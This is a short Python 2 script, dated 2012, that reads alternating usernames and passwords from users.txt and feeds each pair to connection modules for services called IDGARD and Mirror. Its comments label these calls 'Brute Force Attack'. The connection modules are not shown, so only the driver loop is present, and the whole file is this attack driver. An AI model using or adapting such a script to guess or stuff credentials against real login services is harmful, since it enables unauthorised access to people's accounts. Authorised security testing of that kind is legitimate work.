'''
Created on Sep 25, 2012

@author: etibar
'''

import re
import idgard_connection
import mirror_connection


def run_attack():
    print "It works!"
    
    my_file = "users.txt"
    
    ins = open( my_file, "r" )
    array = []
    for line in ins:
        array.append( line )
    print len(array)
    
    i = 0
    while(i < len(array)):
        
      #  matchObj = re.match(r'(.*)[>](.*)(\.*)', array[i], re.M|re.I) 
      #  usr_name = matchObj.group(1)
      #  usr_pwd = matchObj.group(2)

        usr_name = array[i]
        usr_pwd = array[i+1]
        print array[i]
        
    
        print ("username:%s and password:%s" % (usr_name, usr_pwd))
       
        i=i+2
        print i
        
        # Brute Force Attack to IDGARD 
#        idgard_connection.connect_idgard(usr_name, usr_pwd)

        # Brute Force Attack to Mirror
        mirror_connection.connect_mirror(usr_name, usr_pwd)

if __name__ == '__main__':
    run_attack()